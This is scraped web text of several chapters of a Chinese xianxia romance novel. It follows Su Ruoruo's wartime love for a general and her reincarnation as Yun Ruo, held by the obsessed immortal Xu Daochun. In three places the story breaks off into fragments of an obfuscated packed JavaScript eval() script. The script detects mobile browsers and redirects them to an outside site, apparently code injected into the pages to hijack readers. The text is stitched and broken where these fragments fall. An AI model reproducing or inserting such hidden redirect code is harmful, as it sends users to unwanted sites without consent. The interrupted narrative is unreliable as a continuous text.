雕弓射雁,铜觞盛酒,铁炉炙肉,金戈铁马的生涯中难得有一场放纵。 他酣畅豪饮,她同其他姑娘一样,跪坐在一旁轻弹琵琶。 单衫杏子红,双鬓鸦雏色。 醉眼望去,那是昏黄书卷中夹着的一朵红梅,是唯一的明媚鲜妍。 天色欲晚,笙歌散尽,他横抱着她入了营帐,将她放在床边。 月华如水,红烛照影。 他俯身轻嗅,不知这朵小梅花身上是否也有一段梅香。 苏若若红着脸推开他,目光落在他放在桌上的盔甲衣袍上。 “怎么,害怕么?”他问道。 苏若若点点头,又摇摇头,眸色比天边云还要软上几分。 她抿着唇,起了身,走到桌前,小心翼翼抽出压在盔甲下的红披风。 然后,披在自己身上和头上。 她羞怯一笑,抬眸匆匆看他一眼,重回床边坐下。 霞色爬满双颊,情思染上眉梢。 看他时,她飞快地说了两个无声的字。 “嫁衣。” 没有三书六礼,没有凤冠霞帔,甚至没有他的一句承诺。 她用红披风成全自己,成全一场硝烟中、刀尖上的草率的‘婚事’。 他微愣。 那种时刻,怎会有人忍心辜负这样简单热烈的一颗心。 情浓时,她隐忍地咬着他的肩,他在她耳边说:“若若,我帮你改籍,然后娶你。” 披风做的嫁衣被撕成碎片,像纷飞的红梅,绽放在暗色中。 红得纯粹,红得热烈,可熔夜烛,可燃人心。 * 战事吃紧。 苏若若和其他被送来的姑娘一样,白日洗衣做饭,晚上侍奉将士。 前线阵亡渐多,一日,许道淳负伤而归,苏若若为她上药后,思索良久,把说的话写到纸上。 她想学武,想提刀跨马战于前方。 她想保护他,想和他并肩而战。 “若若,那太危险,不是姑娘应该去的地方。”他无奈,这样的想法实在天真。 她摇头,眼中是前所未有的坚定。 他叹息,“若若,懂事些。” 她终是点点头。 谁知,三月后一场仗,战后清点士兵、论功行赏时,他在人群中看到了满脸血污的她。 蓬头垢面,甲胄破败,只有那双眼睛明亮依旧。 许道淳只觉一股无名火升起,却无法当众戳穿,只能像对其他人一样,走到她身前询问战绩。 “杀了几人?” 苏若若打开腰间麻袋,里面放了六个被割下的鼻子。 许道淳惊讶。 后来才知道,她悄悄跟着教头们学武已经很久了,也靠着和别人临时替换,偷偷参加了一些战役。 “简直狂妄大胆!”归帐后,他斥道。 她紧抿着唇,眼中有些委屈,却并未低头认错。 他无奈又焦急,头疼于她的执拗和轻率。 “那是生死斗争,岂是儿戏?若若,好好呆在营里不行么?你若出了意外怎么办?” 谁知那姑娘走到他身边,轻轻亲他一口。 火气瞬间去了大半。 他又气又想笑,“你以为这样我就不追究了么?” 她又亲他一口,睫毛像轻巧的蝴蝶,轻扫人心,而后,朝他不好意思一笑 许道淳彻底无话。 苏若若从袖中抽出一张纸,上面写道: “大人莫气,此皆奴自愿所为,大人若气,任意罚之,奴无怨言,只求让奴仍可战场杀敌。 奴与敌有家仇,有国恨,手刃贼子,以慰亡灵,是奴少时所愿。 与君并肩,持刀策马,血战沙场,同进共退,是奴如今所愿。” 阅罢,许道淳只得一叹。 他也并非铁石心肠,只是担忧她的安危。 如此纤细的身躯,就像脆弱的花枝,一折便玉殒香消。 怎经得住沙场狂风骤雨。 * 然而她经住了,甚至超出所有人想象。 后来,她成了所有人都知道的巾帼女将。 再后来,周国朝廷昏聩,他抓住时机,拥兵自立,割据一方。 他所操劳事务众多,武艺必有所懈怠。 而她武艺渐精进,和其他将军谋士学了一身行军打仗的本领。 她告诉他,她会保护他,而他,要好好的实现抱负,实现理想,外御奸敌,内除国贼,还百姓一个海清河晏的天下。 她的肌肤再不似以前白皙细腻,也不再穿那些鲜妍明媚的衣衫,更没在碰过初遇他时弹奏的琵琶。 她总是一身赭衣,素带绾发,背影不高大却很坚韧,骑着马,护在他身前。 像一把沉默却锋利的刀。 沉默地,沉默的。 只是抬眼看他时,一双美目依旧明灿如星。 他们踏过江山万里,她爱他敬他,视他为一生托付的情郎。 可是后来,他要和另一方割据势力联姻了。 彼时他们势弱,须联姻以抗周,这步棋不得不走。 她那时不在他身边,正在外,为他的江山开疆拓土。 等她回来,已是良人大婚,喜烛高照。 八十多抬聘礼和嫁妆,鞭炮响彻苍穹。 新娘凤冠霞帔,浑身绫罗,满头珠翠,美丽动人,娇艳如花。 苏若若坐在筵席中,依旧沉默。 眼神也很沉默。 有人给她敬酒,她也只是闷头饮下。 站在娇艳新生的花朵旁,她的颜色几乎褪尽。 * 府中有主母,许道淳和苏若若便生疏起来。 没有质疑,没有问询,也没有解释。 似是……很默契的样子。 一切都好像顺其自然地发生,什么都没变,又好像什么都变了。 他以为她懂他,她确实也懂他,可他不那么懂她。 苏若若依旧在沙场上拼尽全力。 直到,他和周国打了至关重要的一战。 周国得了个极厉害的谋士,运筹帷幄,决胜千里,让他节节败退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“纵然是轮回转世,也不是一个人。负了就是负了,若要弥补,那时便该弥补。我不是她,没资格接受她该接受的感情。仙君……不可再自欺欺人,更不要把感情浪费在我身上!若仙君是因此才答应带我入云渚,那请恕云若无礼,不肯承这份情,还容告辞。” 她想起当年向云家人的复仇。 慕容修说,云家人转世会受因果报应。 她问他:“这辈子的仇拖到下辈子报,还有意义吗?” 她其实从小到大,从来都不信转世轮回、因果报应。 就算有,又有何用? 这辈子就是这辈子,迟到的复仇不是她想要的复仇。 那么迟到的补偿,也不是补偿。 她转身就要离开。 然而,看到她的背影,许道淳眸光一变,清润双眸染上一丝阴鸷。 “若若,既来了,我怎会放你走。” 说罢,白光拂过,云若浑身一麻,便昏倒在他怀中。 执念已成心魔,情债怎能算清。 12. 最后一世情劫(12) 12.最后一世情劫(12) 云若睁开眼,看到的是浮在空中的明珠。 明珠耀耀,照亮整个仙居洞府。 “若姑娘,你醒了。”两个女冠捧着食盒走到榻前,与云若连通神识。 “这是哪里?” “此处乃云渚镜心崖栖月洞,许仙君居所。”女冠恭谨答道。 云若瞬间清醒。 那位许仙君瞧着温和清润,实际上执拗又不听人言。 两个女冠既能与她神识通话,想来境界高于她,她未必是敌手。 云若有些后悔随掌门来天界,想见的人没见到,反让自己身陷囹圄。 “许仙君现在何处?”她问。 “掌门归返云渚,邀了许长老前往明照殿议事,晚些归来。” “掌门,可是慕容仙君?” “正是。” 云若顿时坐不住,思忖再三,她流目一转,含笑望着两女冠,“两位姐姐,你们手中拿的是什么?” 女冠们仍面无表情,但目光略和善些,“是些能强身健体的仙果仙酿。” “我尚未食过,姐姐们可愿为我介绍一二。”她眼神真挚,似的确很好奇。 二女冠相视一眼,把盒盖打开,只见其中摆放各色精致糕点及一盏白玉壶,外观瞧着与人间吃食并无不同,但铺面而来的花香酒香十分馥郁,让人忍不住一闻再闻。 女冠一一为她介绍,她认真听取,时不时品评几句。 过程中,她的眼神一直紧紧盯着二人。 终于,在二人几乎放下警惕,和她一板一眼解释酒食来源时,云若暗催灵力,屏气凝神,神识自其中一人双目进入其识海。 女冠未发现云若眼神异样,仍介绍着天界醇酒‘暖云絮’。 此人识海景象是一方小山林溪,并不辽阔。 据其识海大小,云若推断她与自己同属云腾境。 云若在小山林溪中寻觅灵魄,不一会,便发现白衣打扮的女冠。 云若小心翼翼隐藏自己,默念“风住月住此身定,望君望卿莫再行”,指尖砰地出现一个粉色小光球。 她轻挥手,小光球飞去,从背后没入女冠体内。 完成后,云若赶忙抽出神识,而眼前女冠原本正在说话,此刻却戛然而止。 糟糕,好像做的有些明显。 果然,另个女冠眉头一皱,往她望去,“若姑娘,这……” 云若冲她笑了笑。 女冠还没反应过来,眸光一变,“你侵入我识海了?” 因她警惕,云若那缕潜入她识海的神识被发现,只好在识海中和她的灵魄打起来。 云若趁她惊诧,提着剑就飞着闯出门。 女冠赶忙将食盒放一边,拔剑便追。 栖月洞高居镜心崖之巅,洞门外无人,皆是白雾浮云。 云若全力向前飞去,女冠速度比她快,不一会就追上。 云若难以闪避,十分无奈,只能提剑以对。 “任流光啊任流光,你可争点气。”云若心中暗对剑道。 这把剑对战过掌门,对战过空气,还没对战过真实敌手。 很快,对面一道剑光斜砍而来,随之而生的是漫天霜花幻象。 女冠道:“若姑娘,我无意伤你,快些停手,随我回去。” 云若未作回应,脑内飞速回想那些云渚剑诀,从其霜花剑意和清冽剑气中分析,对方主修的应是云渚四大剑法中的‘凝霜落雪’。 云渚四剑法,刚柔并济,冷热兼有,相辅相成,是昔日云渚门下四位仙君所创。 四大剑法分别是:王心若之溯月萦光,郑含元之赤莲流火,慕容修之啸风引电,许道淳之凝霜落雪。 刚柔冷热兼有,若要以弱克强、以小博大,须以其相反之法相对。 凝霜落雪性冷性柔,应以性热性刚的赤莲流火相对。 云若当机立断,运灵执剑,剑刃锋利,以刺抵砍,剑光与对方霜线相对,似平空惊雷般炸出一道火花,火花骤燃,金光赤光交织,在空中徐徐轻绽一朵莲花,莲花正燃烧,乍然飘散成数百朵莲花,围绕在云若身旁。 剑气相撞,浅蓝光芒与金红华彩相对,映得虚妄天的白云也微微变色。 两相交手,女冠知云若非绣花枕头,便也专心迎战。 二人境界类似,剑法克制,在空中打得难解难分,漫天霜花同纷纷火莲交错,织就一道壮丽奇美风景。 如梦似幻的剑意是属于锋剑利刃的冷酷的浪漫。 女冠打得越发认真,云若有败退之象。 然而,下一刻,女冠一震,浑身僵住,跌落在地。 于剑战上认真,必然分不出多余精力顾及识海,云若那缕神识已然定住女冠灵魄。 “对不起对不起。”云若道,赶忙准备飞身离去。 谁知,她刚一转身,就撞上一堵人墙。 “若若,你定住我两个弟子,是要去哪里?” 云若闻言,如坠冰窖。 她竟逃到许道淳跟前了。 云若御剑就跑。 许道淳没追过来。 向前飞了好一会,云若定睛一看,却见远处许道淳正气定神闲立在那。 从前只听闻鬼打墙,如今竟遇见仙打墙。 云若头皮发麻。 许道淳叹道:“这又是何必。” 躲不过就打! 云若也不顾境界差距有多大,拔剑便劈上去。 许道淳轻笑,“也好,应让你见识什么叫真正的凝霜落雪。” 腰间剑尚非他的本命宝剑‘问心’,但也足够。 剑在他手中如轻云,悠游惬意,随手抵御,云若便被那剑中温柔倾泻而出的剑气冻僵。 那剑气倾泻得很温柔,就像耳边轻语的风,或放眼望去的云。 可只是看上去很温柔,触及剑气一刹,云若的手和手中剑便僵不得动。 明灿雪光中,她见到无数的六菱霜花,凝在天地间,随之而来的是如絮飞雪。 飞雪,不是幻影,而是实体。 霜花,不是小花,与她同大。 方才那女冠的霜花不过是肉眼所及处的所有,而他的霜花剑意却充盈整个天地,是真正的‘漫天霜花’。 云若眼睁睁看着自己剑下刚生出的金火莲花被雪吹熄,被霜冻得自闭。 金火灭了,花自闭了,她也自闭了。 她一直以为那金火莲花剑意漂亮的霸气壮丽,可在那霜花下,就像是弱柳扶风的小可怜。 云若差点被冻得流泪。 不甘心,不甘心! 云若拼尽所有灵气,终于让冻僵的‘任流光’动了一下。 “若若,回去吧。”许道淳无奈,随手收回剑气,霜花随之消散。 无奈中夹杂的三分宠溺,让云若寒毛耸立。 “许仙君,你我不熟,还请叫我云若吧。” 云若拔剑,仍要再战。 她要做一个没有感情的剑修。 许道淳轻叹,“好,既然若若想练剑,我就奉陪到底。” 这回,那些霜花变小许多,和方才女冠的同大。 高境修士还能随意让剑意变大变小…… 云若更想流泪了。 俗话说得好,只要没打死,就往死里打。 也不管许道淳是不是迁就自己,云若拿出和掌门对战的认真态度和他打了起来。 云若从《云渚基础剑招十八式》打到《云渚四大剑法》,把溯月萦光、赤莲流火、啸风引电、凝霜落雪用了个遍。 她打他比打掌门还狠,却一点伤都没受。 许道淳总能把力度控制得刚刚好,既比她高一点,又不至于伤到她。 云若打到精疲力尽,然后一脸麻木‘被自愿’地跟着许道淳回栖月洞。 许道淳安慰她:“若若,你修仙练剑时日尚浅,能抵此境已是不易,莫要妄自菲薄。你好好呆在栖月洞,你喜欢练剑,我就陪你练,别再离开我。” 他又道:“想来任掌门也是同意的。” * 细细算来,惊鸿派全了云若的修仙梦,掌门又算她半个师父,惊鸿派和掌门都对她有恩。 掌门自称生意人,定是得了好处,才把她‘卖’给许道淳。 收钱办事,云若并不抗拒侍奉这位仙君,只要他不要和她过分亲密。 许道淳留下她的名义是洞府中缺一名剑侍。 通俗来讲,剑侍就是伺候宝剑的。 剑修的剑金贵无比,本命剑更不得了,几乎相当于剑修半条命,有甚者,更视其为道侣。 云若在书上看到过,天界四大名剑分别为游日月、纵春秋、锻思和问心。 许道淳的本命剑就是问心剑。 剑长六尺七寸,剑身纤细,据说是万年天霜溶进补天石所铸造,通体泛淡淡银光,剑柄嵌瑶池寒玉,刻‘问心’二字。 问心剑仅放在石台玉架上静静不动,也能使人感到蕴在剑身中的寒气。 云若按古籍所说仔细保养这柄宝剑。 谁知许道淳却说:“一把剑罢了,若若何必如此费心。” 然后,他就把问心剑拿走了。 云若:? 说好的剑侍呢? “似这等剑,都会生出剑灵。剑灵修炼辛苦,需要静心,若若总去擦拭剑身,恐会扰其修行。”许道淳如是解释。 许道淳自不会告诉她,他不想她接触除他以外任何一个异性。 剑灵也不行。 云若唯一能做的事也没了,然而总不能虚度时间。 后来,许道淳一来,她便以剑相迎。 屡战屡败,屡败屡战。 许道淳成功让她从云腾境初期一路升到云腾境大圆满。 云若:“谢谢。” 许道淳:“若若开心就好。” 云若:“呵呵,虽然开心,总觉得有哪里不对。” * 云若被许道淳和两个女冠全天十二时辰盯着,连拿出玉简的机会都没有。 好不容易一个人呆着,血滴玉简,期待慕容修回应,那期待也一如既往的落空。 玉简什么反应都没有,就是一块普通得不能再普通的美玉。 既然如此,当初何必给呢。 云若觉得这天界的仙君们都十分让人郁闷。 她唤来女冠询问,“掌门平日很忙么?” 女冠点头,“很忙。” 她们说,一般许道淳会坐镇天界,慕容修则多下界走动,解决凡间地界问题。 “掌门回云渚,一般都呆在哪儿啊?” “沉思崖。”女冠回道。 “离这儿远么?” 女冠流露出狐疑的眼神,“若姑娘为何总打听掌门之事。” 云若讪笑,“身为云渚弟子,自当多了解掌门。” 遂不了了之。 过了一段时间,云若发现许道淳愈发不对劲。 许道淳偶尔会晃神,和她的对话驴头不对马嘴。 比如,她说:“许仙君,我明白您的愧疚。可您要分清,我真的不是您的心上人,将这些心思付于我,实在浪费。” 他会说:“若若,这块芙蓉酥很甜,你以前就爱吃甜的。” ……这种情况,就算她想‘动之以情,晓之以理’也不行。 他呆在她身边的时间越发长,到后来,甚至有些‘寸步不离’。 仙人不用睡觉,她一个云腾境的中阶修士隔几天还是要休息的。 许道淳在她身边,她睡不着,精神也就差了。 差着差着,云若撑不住睡过去。 等她睡饱,睁眼,就看见许道淳正坐在她身旁,望着她出神。 云若第一反应:机会来了! 发呆出神是人防御力最弱之时,也许,她可以尝试着用神识潜入他识海,然后使用定身术,然后……金蝉脱壳。 对付这样境界的修士,一缕神识绝对不够。云若为赌一把,凝着所有神识,钻入许道淳识海。 许道淳不对她设防,故而顺畅无阻。 云若入他识海,见着景象便是一惊。 看着那么光风霁月的仙人,识海却极为荒芜。 那是很广袤又很光秃秃的一片古战场,一望无际。 时节正黄昏,天上残阳似血,漫天黄沙卷着鹅毛大雪刮得人又冷又疼。 干燥冰冷空气中,飘来淡淡梅香。 残阳之下,一人一马。 那人白衣染血,乌发如墨,眼神微空,唇畔不见丝毫笑意。 忽然,不知从何而来,凭空出现的飞箭纷拥而至。 景象之真,际遇之险,让云若差点大喊小心。 箭雨避开马,把那人刺成刺猬。 半晌,箭化作虚影消失,云若才发现那人已经倒在地上,身上满是箭伤,鲜血从血洞中汩汩流出,而后渗透到黄沙地中。 鲜血流尽,那人又挣扎着爬起来,拍去一身黄土。 白衣变血衣,浑身血洞,面容模糊,狰狞可怖。 云若自小生于鬼尸堆,此刻却也被那浓重血腥气和富有冲击力的画面震惊。 那人牵着马走近,云若才看到马上驮了一个人,身上盖了件破破烂烂的红披风。 马上的是个赭衣姑娘,面容宁静安和,像睡着了一般。 牵马人走着走着,又是一阵箭雨…… 他又被箭雨埋在地上,血聚成汩汩溪流,渗到黄沙中。 …… 然后,他就这么倒下,再站起来,再倒下,再站起来。 他要走的路似乎很长,永远也走不到尽头。 云若随之走动,这古战场绵延千里无处可藏,她只求那人牵着马一直走下去,别注意周围。 她低语定身咒,粉色光球已凝在指尖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许道淳是认真的。 正因如此,云若的心情很复杂。 她不能平白接受如此深沉的感情,可又不知怎样说才不会刺激他本就执念颇重的内心。 有心魔之人最怕接二连三的刺激。 所以,她只能沉默。 沉默的岁月中,让许道淳带她去云渚嫏嬛阁中看书。 许道淳倒不干涉她看书。 她想找到除去心魔的办法。 只有许道淳除去心魔,真正放下那段感情,他二人才能都相安无事。 * 许道淳是在认真地筹办婚礼。 天界不似人间,其实没什么必须的成亲仪式,云若知道,他如今所做的一切,都是想弥补过去。 书上说,遗憾类执念,若能弥补回遗憾,或可消除。 怎么弥补?大概是,让许道淳和‘苏若若’真正成一次亲。 死马当作活马医,云若也没更好的办法。 许道淳见云若不反对,脸上笑容也多了。 据女冠说,原本许道淳就是天界仙君中最好说话的那个,如今这段时间更是体贴弟子、有求必应。 前一句话还待深究,后句话倒是真的。 许道淳想让这场婚礼风光无限,天人皆知,吓得云若赶紧告诉他:“我不喜热闹,若真成亲,不要惊动其他人,二人已经足够。” 许道淳说:“好,我听你的。” 云若这时候说什么,他都会听,除了‘不成婚’这回事。 成婚那日,女冠捧来大红衣冠,给云若换上。 “若姑娘,这是仙君为你亲向司织神女求来的嫁衣,用初晨的霞光和天云制成,缀以瑶池菡萏、天河珍珠,暗香浮动,光华流转,是全天界独一份。” “若姑娘,这制凤冠的金是仙君去扶摇南山采来的,寻了厉川长老用本命真火熔铸而成,上面嵌了赤凤真璃珠,便是取下来做法器也很好……“ 这些东西越精美贵重,云若就愈发觉得喘不过气。 许道淳走了进来,屏退两位女冠。 他今日亦是一袭红衣,看起来就像个风姿毓秀的人间新郎官。 ”若若,我来帮你画眉绾发。“他与她相对而坐,手执黛笔,神情认真而温柔。 云若近近望着他眸眼。 似朝间露,如水中玉。 画眉那刻,说心意未动是假的。 但不是因为人,是因为这样的场景。 花信年华的女子,若在人间,应已嫁人。 田间竹院,男耕女织,二三儿女,相依为伴。 若琴瑟和鸣,举案齐眉,夫妻情好,是多幸运幸福的事。 云若有自知之明,对此从未奢求。 可被人珍视、被人温柔以待,被执着追随而非去执着追随他人的感觉…… 真得很特别啊。 也很引人眷恋。 追随她的人,非是因为她本身。 她追随的人,似乎已把她忘却。 一个温柔陷阱,越清醒越艳羡。 许道淳替她红绳绾发,带上金冠。 “许仙君,你对苏姑娘,到底是爱还是愧。”云若没忍住,还是问出这句话。 许道淳本替她拢着冠上红珠,此时轻轻放手,珠帘垂下,碰到面颊,冰冰凉凉。 “若若,”他轻抚她耳边玉珰,温声道:“你仍疑我对你的心。不要紧,我可以等,你终会看见……无论是一千年,一万年,百万年,永生永世,我都不再会有别人,我都不会再辜负你。” 云若不喜他接触,下意识侧开脸。 那手微僵,而后收回袖中。 有女冠进入,恭谨道:“禀仙君,扶光神君驾临,掌门邀你共去明照殿相迎。” 许道淳皱眉,嘱咐女冠守好云若。 “若若,上神驾临,我不得不去迎接,你在这好好等我。” 许道淳走后,云若望着明镜出神。 镜中人红妆明艳,却无新嫁娘的喜色。 哎,怎么就突然而荒唐地出嫁了。 想着想着,云若微微困乏,阖眼睡去。 不知何时,她忽然感到有人拨弄自己耳畔玉珰,弄得耳下微痒。 云若以为是许道淳,十分不悦,毫不留情把那手打下去。 谁知,识海中却响起一个久违的声音。 “呦,几年不见,脾气见长啊。” 熟悉的语气。 云若瞬间清醒,猛然回首,见身后桌案上倚坐着一个俊美艳丽的白衣少年。 纵是穿着云渚道袍,却丝毫无冰雪般仙气,反而显得放荡潇洒,活像个妖道。 他抱着一把赤色暗纹长剑,饶有兴致地看着目瞪口呆的云若。 “怎么,小娘子,今夜如此盛妆打扮,是在等你的郎君么?” “如、如、如官!”云若惊得传音也断断续续,激动地双颊绯红,“你怎么会在这!” “我?”少年挑眉跳下桌案,朝她走来,唇畔带着轻笑,“我当然是来抢亲的。” 无意邀得玉郎来,一笑春风桃李开。 13. 最后一世情劫(13) 13.最后一世情劫(13) 云若被他不正经的话闹得满脸通红,她赶忙站起来,看着郑思如,有千言万语想问出口,最终却都化作脸上难藏的笑意。 郑思如倒被她看得不好意思,清清嗓子道:“快,过去盘腿坐着。” 云若虽有疑惑,但还是听从照做。 坐定后,她感到一个温热的掌心贴上自己的后背。而后,一股暖流从掌心后背贴合处往身体四周蔓延,最后两道分流,一道汇聚至紫府灵台,一道下沉于丹田灵根。 “如官,这是在做什么?” 郑思如的声音从识海传来,“离开前我说过,会找到让你恢复五识的方法。” 闻言,云若双手抓住裙角,身子也不自觉地绷直。 “放松些。”郑思如轻笑。 他收回手掌,指尖抵住她颅下大椎穴,相接处泛出淡金光芒,有比方才更炙热的暖流经过。 指尖从上到下,从左至右,从大椎穴至腰阳穴,划出奇异复杂的轨迹。 直到落手一刻,淡金光芒乍盛,路径显出赤色,俨然是一道灵力极强盛的法符。 瞬间,金光赤纹符咒分裂出一整圈,将云若包围在内。 热,很热。 天界是冰凉的,云若也已习惯。 忽然被热气由外至内包围,除了感到温暖,也隐约感觉什么东西要破体而出。 一种神秘的、掌控之外的、曾经拥有的力量。 郑思如低声念一段法诀,最后双手交叠,将灵气推入云若体内。 “仙印破,五识开!” 云若听见识海中有一处破碎,银白光芒散成碎星,说不清的奇异力量似潮水席卷全身。 一切发生了无法言说的变化。 她想起十年前看的那片大海,此刻的她仿佛一只潜入大海的游鱼,被海水浸泡包围。 她想起御剑近观的那轮明月,月光温柔而包容。 她躺在月光中,像幼时依偎阿娘怀里。 月光抚她哄她入睡,耳边是海风的低语和潮汐的呢喃。 她隐约听见极浅的气息。 不再是来自自己,而来自另一个人。 来自于外面的世界。 “好了。”郑思如收回手。 是如官的声音。 如春风拂柳,玉石落溪。 云若猛然回身,她细细端详郑思如,小心翼翼试探地叫道:“如官?” 刚开口,有些沙哑,音调也掐不准。 郑思如也是第一次听到她开口的声音。 很像…… 很像师姐少时声音。 没有拒人千里之外的清冷,没有喜怒不形于色的稳重。 无忧无虑,天真温柔。 “如官!”云若踮起脚,在郑思如耳边轻声喊道。 她还不敢喊得太大声。 郑思如低头看她灿如夏花的笑容,酥酥麻麻的感觉从耳传到心上。 谁知道云若越喊越频繁,越喊眼越亮,她在郑思如身边绕圈,不停喊着“如官”“如官,我能说话了”。 喊一会还要抚掌笑几声,有时笑弯了腰。 行迹痴狂,傻里傻气。 她绕了一圈,蹦跳着回到郑思如面前,握住双手,双眼弯成了月牙,“如官,谢谢你,真的谢谢你,你是我的大恩人!” 每个字都尽全力咬得清晰。 未等郑思如回应,她又笑着继续说:“你知道吗?我刚刚走着,头上这些红珠叮叮当当碰撞在一起,就和落棋的声音一样好听;还有衣裙绸缎摩擦在一起,像吹过沙子的风。如官,你去过南国吗?你见过沙滩和海吗?海很广阔,我一直都觉得海是倒过来的天空,天有九重天,也许海也有九重海……还有眼睛,我能看见的东西一下子多了,颜色也鲜妍起来……如官,我的世界都活了,这都是因为你,都是因为你!” 她很激动,想说很多话,想表达很多心情,即使有些前言不搭后语。 郑思如静静看着她,看她笑得像小月牙的眼睛,听她有些吃力却生动的言语。 看她笑着笑着,看她一滴泪突如其来地滑落。 源源不断的热泪湿透长睫,染红清瞳。 可她仍是笑着,“如官,恩人,以后,你就是要我的命,我也给你。” 郑思如唇角微动,用手轻轻拭去她脸上泪水,那手轻落在她肩上,几欲把眼前人搂入怀中。 还是克制住了。 他语气嫌弃道:“小话痨,哭起来丑死了。你快跟我走吧,不然等新郎官回来,可真没命了。” 然而云若的笑容一点点敛下,她眉间泛上愁色,“可我不能走啊。” “为什么?” 云若叹气,把这几日发生的事长话短说告诉了郑思如。 她留下,是为偿还任掌门的情,履行惊鸿派弟子的职责,不可临阵逃脱。 她若逃走,保不齐更刺激许道淳,万一许道淳再迁怒任掌门和惊鸿派,就麻烦了。 郑思如俊秀的眉毛拧起,耐着性子道:“你不接受许道淳,是因为你明白那情不属于你,是假的。如今你也不喜欢他,却用假意逢迎治他心魔,和他又有何区别?” 云若仔细一想,眼神更加迷茫,“对啊,我这样和他有什么区别。” 见她有所动摇,郑思如继续道:“再说,老任对你恩情大,还是我对你恩情大?若我恩情大些,你就该听我的。” 云若点点头,“是啊,好像也有些道理。” “所以,别纠结了,”郑思如拉着她就往门外走去,“快跟我走。” 云若走了几步便停下,她拉住郑思如,“不对,你为什么要带我走啊?” “当然是抢亲。” “话本里说,男女两情相悦,女子嫁予他人,才会抢亲之说。可如官,我们并不是那样的关系,你为何要来抢亲?” 许是方才二人太热络,郑思如闻言,仿佛被一桶冷水瞬间浇满头。 他身子一僵,回身望她,见她眸光坦诚认真,并无扭捏之态,真的只是在问一个再普通不过的问题。 他脑子有一瞬迟钝。 是啊,他们并不是那样的关系。 他们并非两情相悦。 他们只是师门同窗,从前是,这辈子依然是。 他到底有什么理由带她走? 半晌,他喉结滚动,声音带着明显的焦躁,“你不是说愿意把命给我么?你不跟我走,怎么把命给我?” 拒绝很难说出口,可一走了之也并非云若性格。 她面上带了愧色,扯着郑思如衣袖有些讨好地解释:“如官,对不起,可事总有轻重缓急。此刻许仙君心魔缠身,我不能因自己任性,却把他推下悬崖,给门派招来祸患。待他好了,我就去找你,报答你的恩情!” “你在哄小孩么?”郑思如将她的手从衣袖上拂开,冷笑一声,“我差点忘了,你是最会权衡取舍的。无论什么时候,无论我怎么做,你选择的都不是我。你就顾全你的大局,在此等许道淳罢。” 郑思如脸上似覆了一层难化开的冰霜,阴沉得可怕。 云若脾性温和,极少和人产生矛盾,更别说惹人生气。 可云若根本不知道为何郑思如的反应这么大。 “如官,对不起,是我错了……”她无措,只得赶忙道歉。 “错了?嘴上说错了,你会改吗,你会跟我走吗?若不会,认错有何用,不过耍嘴皮罢了!”郑思如却不接受,眼中嘲意渐浓。 云若怔愣在原地,一时不知该如何作答。许是被说中心思,她又羞又愧,面红耳赤,然而无处遁形。 郑思如只觉心中一团火烧得越来越旺,双眸隐约泛起赤色,他转过身,背对着云若厉声道:“我不逼你,我也不做这插足的恶人,自己想着都恶心。祝你和许道淳仙缘长结,百年好合,你就……开开心心为人替身罢。” 最后一句话,说得有底气,心中却极无底气。 替身,替身…… 只有他自己心里清楚,到底是不是替身。 三百年前,许道淳和那位苏若若的事,他何尝不是局中人。 可最后局中三人,死得死,伤得伤,谁又求到心中所愿,还不是落个满盘皆输的结局。 一世又一世,总是阴差阳错,总是求而不得。 为什么,为什么? 他拿起那把赤纹长剑负气离去,很快就消失在云若视野中。 “如官!”云若追了出去,她的喊声,终是随风飘散,未唤回离人。 云若望着万里云天,心中十分迷茫。 是她错了么? 她很感激郑思如,郑思如是她最大的恩人,若他之后有用得着的地方,她愿赴汤蹈火,绝不推辞。 可如今并非紧要之时,他也没有非带她离开的理由。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137495|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >反而是许仙君,若他心魔太盛以致入魔,云渚与仙盟必然追责,牵连惊鸿派,搞不好会坏了整个惊鸿派在天界的名声。 这样想,真的错了吗? 如果没错,如官为何生气? 云若久逢故人的喜悦也消失了,坐到门槛上看天发呆。 * 云渚,明照殿。 白衣白发的扶光神君高高在上坐于主座,言辞冷厉,不留情面。 “早在一开始,孤便不同意由王心若掌管天界,她道心不稳,七情太重,根本不堪大任。” “她先是纵容郑含元,郑含元由仙入魔,如今成了三界最大的毒瘤,惹出许多祸事。然后,又纵容赵玄檀和柳宜均,那两人无一丝仙家气度,成日说什么‘大道随心’,早把神旨忘得一干二净!如今,她又纵容任流光,那任流光竟接手一个媚修门派,纵他门下弟子勾引你们……” 说到此处,扶光语气长叹一声,似是内心十分沉痛,“这些孽徒简直丢尽了仪光师兄的脸,孤实在替师兄感到惋惜痛心!” 阶下,慕容修和许道淳相望一眼,实则内心极明白这位神君的来意。 按理来说,神不在三界中,也不司三界事。 早在千万年前,诸神制订好三界法旨后,便约定将三界交给其他生灵。 仪光神君作为诸神之长,其手下十一弟子,也是彼时三界最优秀的修士,其中大师姐王心若更是仪光心中最为满意的接班人。 仙盟盟主之位顺理成章归了王心若。 其他神君在三界的职责已履行完毕,对仪光的安排并无意见。 扶光神君俨然是例外。 扶光效仿仪光师兄,也收了些弟子,只是资质略差,其中境界最高的素璇,还比不过十一弟子中修为最差的柳宜均。 扶光心中自然不平衡。 以至于他明明已是更尊贵的神君,却仍对掌管天界的权力念念不忘。 慕容修只好应道:“修愚钝,还请师叔赐教。” 扶光瞥他一眼,轻哼一声:“高位能者居之,王师侄德不配位。孤以为,她理应让贤了。” 慕容修和许道淳皆是脸色微变。 